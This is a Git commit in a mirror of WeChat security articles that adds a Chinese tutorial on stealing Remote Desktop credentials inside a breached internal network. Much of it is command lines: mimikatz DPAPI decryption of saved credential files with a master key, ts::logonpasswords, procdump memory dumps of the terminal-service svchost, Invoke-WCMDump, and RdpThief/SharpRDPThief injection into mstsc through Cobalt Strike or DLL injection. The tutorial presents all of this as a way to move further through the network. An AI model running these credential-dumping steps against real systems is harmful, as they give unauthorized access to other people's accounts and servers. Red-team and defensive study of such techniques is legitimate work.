mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
内网远程桌面密码获取、
This commit is contained in:
1 parent
c8dea11e1e
commit
d8a006b685
2 files changed
+406
-1
No files matched your search
@@ -1970,5 +1970,6 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247515310&idx=1&sn=0d5a90a6415efced680b61d90b5d0c8c": "Bazaar v1.4.3 任意文件读取漏洞(CVE-2024-40348)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247515310&idx=2&sn=56e4be8036c18c800185e9bb1a7dc78c": "渗透测试 -- 系统漏洞扫描",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247489345&idx=1&sn=91726b817300dc5b41e7c6a25ef449d4": "【漏洞预警】Poppler越界读取漏洞(CVE-2024-56378)",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247523969&idx=1&sn=b096f169d52f79ead83a7f4899282a8f": "【漏洞通告】Craft CMS 远程代码执行漏洞(CVE-2024-56145)"
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2NjgzNjA5NQ==&mid=2247523969&idx=1&sn=b096f169d52f79ead83a7f4899282a8f": "【漏洞通告】Craft CMS 远程代码执行漏洞(CVE-2024-56145)",
|
||||
"https://mp.weixin.qq.com/s/7cV7xUD5XoElvax20i0fzg": "内网远程桌面密码获取"
|
||||
}
|
||||
@@ -0,0 +1,404 @@
|
||||
# 内网远程桌面密码获取
|
||||
原创 simeon的文章 小兵搞安全 2024-12-23 13:12
|
||||
|
||||
# 当通过边界渗透进入内网后,通过密码暴力破解,内网应用等获取内网Windows权限后,通过代理等进行远程桌面登录,查看并获取远程桌面连接历史IP地址以及保存的用户名和密码,可以继续进行内网渗透,获取更多的权限。
|
||||
## 1.1远程桌面历史IP获取
|
||||
### 1.1.1mstsc查看历史登录IP
|
||||
|
||||
|
||||
获取远程桌面(RDP)连接的历史IP记录可以帮助管理员了解哪些服务器或远程机器曾被连接过。这些信息通常存储在Windows注册表中。可以打开远程桌面mstsc后,在计算机列表中可以看到曾经的历史登录IP,有些IP可能还保存了登录用户名和密码,使用这些凭据可以直接登录管理员曾经登录过的服务器,前提是需要获取该服务器或者个人主机的远程登录权限。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
查看历史登录IP
|
||||
|
||||
|
||||
### 1.1.2注册表地址获取历史登录IP地址
|
||||
|
||||
|
||||
1.注册表键值查看
|
||||
|
||||
|
||||
按 Win + R 键,输入 regedit,然后按回车键,导航到HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers,可以看到历史登录过的服务器IP地址获取域名。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
2.命令行直接获取远程桌面历史连接IP地址
|
||||
|
||||
|
||||
powershell下执行命令:
|
||||
|
||||
|
||||
dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
### 1.1.3ListRDPConnections
|
||||
|
||||
|
||||
|
||||
https://github.com/Heart-Sky/ListRDPConnections
|
||||
|
||||
|
||||
只能获取历史连接记录。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
## 1.2获取 RDP 远程桌面连接凭据
|
||||
### 1.2.1在凭据管理器中查看 Windows 凭据
|
||||
|
||||
|
||||
1.Windows凭据管理器介绍
|
||||
|
||||
|
||||
Windows凭据管理器(Credential Manager)是Windows操作系统中的一个组件,它帮助用户管理和存储各种类型的登录信息和其他敏感数据。通过凭据管理器,用户可以安全地保存网站、网络资源和Windows域的用户名和密码等信息,以便在需要时自动填充这些凭证,从而简化访问受保护资源的过程。
|
||||
|
||||
|
||||
凭据管理器的主要功能
|
||||
|
||||
·
|
||||
|
||||
|
||||
Web凭据:用于保存网站登录信息。
|
||||
|
||||
|
||||
|
||||
·
|
||||
|
||||
|
||||
Windows凭据:包括网络资源(如文件服务器、打印机)、Windows域账户等的登录信息。
|
||||
|
||||
·
|
||||
|
||||
|
||||
证书:用于身份验证的数字证书。
|
||||
|
||||
|
||||
2.Windows 凭据保留位置
|
||||
|
||||
|
||||
C:\Users\<用户名>\AppData\Local\Microsoft\Credentials
|
||||
|
||||
|
||||
3.ps下查看Windows凭据
|
||||
|
||||
|
||||
(1)查看当前保存的凭据
|
||||
|
||||
|
||||
cmdkey /list
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
(2)cmd下查看
|
||||
保存的凭据
|
||||
|
||||
|
||||
dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*"
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
(3)
|
||||
PowerShell下查看
|
||||
保存的凭据
|
||||
|
||||
|
||||
dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*"
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
### 1.2.2使用 Mimikatz 导出远程桌面连接凭据
|
||||
|
||||
|
||||
1.获取
|
||||
guidMasterKey
|
||||
|
||||
|
||||
(1)mimikatz
|
||||
|
||||
|
||||
(2)
|
||||
privilege::debug
|
||||
|
||||
|
||||
|
||||
|
||||
(3)dpapi::cred /in:C:\Users\36502\AppData\Local\Microsoft\Credentials\1A5A322625F3341E03935748DAA118C3
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
也可以一句话直接执行:
|
||||
|
||||
|
||||
mimikatz # mimikatz.exe "privilege::debug" "dpapi::cred /in:C:\Users\36502\AppData\Local\Microsoft\Credentials\1A5A322625F3341E03935748DAA118C3"
|
||||
|
||||
|
||||
{778f9b6e-31d1-4c55-9b6e-5360aed0bf38}
|
||||
|
||||
|
||||
说明凭据文件是通过dir /a "%userprofile%\AppData\Local\Microsoft\Credentials\*"获取的。
|
||||
|
||||
|
||||
记录
|
||||
guidMasterKey:
|
||||
{778f9b6e-31d1-4c55-9b6e-5360aed0bf38}
|
||||
|
||||
|
||||
2.获取
|
||||
MasterKey
|
||||
|
||||
|
||||
(1)
|
||||
privilege::debug
|
||||
|
||||
|
||||
|
||||
|
||||
(2)sekurlsa::dpapi
|
||||
|
||||
|
||||
也可以直接cmd下执行命令
|
||||
|
||||
|
||||
|
||||
mimikatz.exe "privilege::debug" "sekurlsa::dpapi"
|
||||
|
||||
|
||||
Windows11下执行未能测试成功。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
正确的图如下:
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
3.获取明文密码
|
||||
|
||||
|
||||
mimikatz.exe "dpapi::cred /in:C:\Users\3650\AppData\Local\Microsoft\Credentials\4D8F543ACD10B143849414A5085FE4E6 /masterkey:53c01b9679dc0e55b91584781fe13eb1c5faa2694fc693f98838fedd74d3ad371754b9d9d841769882c8e14c965e4ae40a45dce88101cf5831fc4d694cc38e81"
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
### 1.2.3从 svchost 中获取 RDP 连接凭据
|
||||
|
||||
|
||||
svchost.exe 是 Windows 中用于运行多个服务的通用主机进程,对系统正常运行至关重要。当用户通过 RDP 远程桌面连接并进行身份验证时,相关服务由 svchost.exe 托管。由于 Windows 身份验证机制的原因,RDP 凭据可能以纯文本形式短暂存在于 svchost.exe 的内存中,这使得通过内存转储技术理论上可以提取这些凭据。
|
||||
|
||||
|
||||
1.
|
||||
查询终端服务
|
||||
|
||||
|
||||
sc queryex termservice
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
2.内存导出
|
||||
|
||||
|
||||
通过 procdump.exe 将 PID 进程内存转储为 .dmp
|
||||
|
||||
|
||||
procdump64.exe -ma PID -accepteula C:\Users\Administrator\Desktop
|
||||
### 1.2.4从已存在的 RDP 连接中导出
|
||||
|
||||
|
||||
privilege::debugts::logonpasswords# mimikatz.exe "privilege::debug" "ts::logonpasswords"
|
||||
### 1.2.5使用 PowerShell 脚本Invoke-WCMDump导出
|
||||
|
||||
|
||||
•项目地址:
|
||||
https://github.com/peewpw/Invoke-WCMDump
|
||||
|
||||
|
||||
Invoke-WCMDump.ps1 这个 PowerShell 脚本可以在 Windows 凭据管理器中枚举 Windows 凭据,然后提取有关每个凭据的可用信息,且无须管理员权限。
|
||||
|
||||
|
||||
1.需要更改权限
|
||||
|
||||
|
||||
Import-Module .\Invoke-WCMDump.ps1
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
PowerShell默认设置为Restricted,这意味着不允许运行任何脚本,包括本地脚本。为了运行自定义脚本,需要更改执行策略。
|
||||
|
||||
|
||||
Restricted:默认值,不允许运行任何脚本。
|
||||
|
||||
|
||||
|
||||
|
||||
AllSigned:只允许运行由受信任发布者签署的脚本。
|
||||
|
||||
|
||||
RemoteSigned:允许运行本地创建的脚本,远程下载的脚本必须有数字签名。
|
||||
|
||||
|
||||
Unrestricted:允许所有脚本运行,但会警告未签名的脚本。
|
||||
|
||||
|
||||
Bypass:不阻止或不提示任何内容;适用于构建服务器等非交互式环境。
|
||||
|
||||
|
||||
Undefined:移除当前作用域内的执行策略(不会影响其他作用域)。
|
||||
|
||||
|
||||
2.更改权限
|
||||
|
||||
|
||||
Get-ExecutionPolicy
|
||||
|
||||
|
||||
Set-ExecutionPolicy RemoteSigned
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
3.执行导出命令
|
||||
|
||||
|
||||
Import-Module .\Invoke-WCMDump.ps1
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
### 1.2.6 RdpThief
|
||||
|
||||
|
||||
当用户打开 Windows 远程桌面 mstsc.exe 并通过 RDP 协议远程连接到其他系统时,将创建 mstsc.exe 进程。而如果此时我们使用 API Hooking 则可以直接拦截用户提供的凭据,并将其保存到用户主机上某处。Rio Sherri 开发了一个名为 RdpThief(https://github.com/0x09AL/RdpThief) 的概念性验证工具,它可以尝试在运行有 mstsc.exe 进程的主机上 Hooking mstsc 进程中使用的函数(CredIsMarshaledCredentialW 和 CryptProtectMemory),并检索其中的凭据然后将凭据写入主机上的某个文件中。
|
||||
|
||||
|
||||
1.使用 Cobalt Strike 加载 RdpThief
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
2.依次执行以下命令
|
||||
|
||||
|
||||
(1)rdpthief_enable:启动心跳检测,每 5 秒搜索一次 mstsc.exe 进程并注入 RdpThief_x64.tmp 中的 Shellcode,管理员远程桌面登录3389。
|
||||
|
||||
|
||||
(2)rdpthief_disable:停止心跳检测,但该命令不会卸载注入的 Shellcode•rdpthief_dump:显示抓取的凭据,默认读取路径为 %temp%\data.bin
|
||||
|
||||
|
||||
(3)rdpthief_dump
|
||||
|
||||
|
||||
抓出来的凭据存储在 %temp%\data.bin 目录下
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
另外一种注入方法
|
||||
|
||||
|
||||
(1)获取mstsc的pid值假设为1111
|
||||
|
||||
|
||||
tasklist /v | findstr "mstsc"
|
||||
|
||||
|
||||
(2)注入RdpThief.dll
|
||||
|
||||
|
||||
Import-Module .\Invoke-DllInjection.ps1
|
||||
|
||||
|
||||
Invoke-DllInjection -ProcessID 1111-Dll RdpThief.dll
|
||||
### 1.2.7 SharpRDPThief
|
||||
|
||||
|
||||
|
||||
https://github.com/passthehashbrowns/SharpRDPThief
|
||||
|
||||
|
||||
SharpRDPThief 工具是 Josh Magri 用 C# 重写对 RdpThief 的重写。然而,与 RdpThief 相比,SharpRDPThief 使用 IPC Server 可以使用接收来自 mstsc.exe 进程中抓取到的凭据。如果 mstsc.exe 被终止,Server 也会继续运行,并且等待 mstsc.exe 进程再次重新启动时会尝试再次进行 Hooking。这解决了 RdpThief 要求进程已经存在的限制。直接运行 SharpRDPThief.exe,然后模拟管理员使用远程桌面登录某台服务器,输入密码后 SharpRDPThief 成功抓取到了 RDP 登录凭据。
|
||||
|
||||
|
||||
### 1.2.8Remote Desktop PassView v1.02
|
||||
|
||||
|
||||
Remote Desktop PassView v1.02对Windows早期版本可以读取密码,对于Windows11无法读取保存的密码。工具下载地址:
|
||||
https://www.nirsoft.net/utils/remote_desktop_password.html
|
||||
|
||||
|
||||
直接运行rdpv即可。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user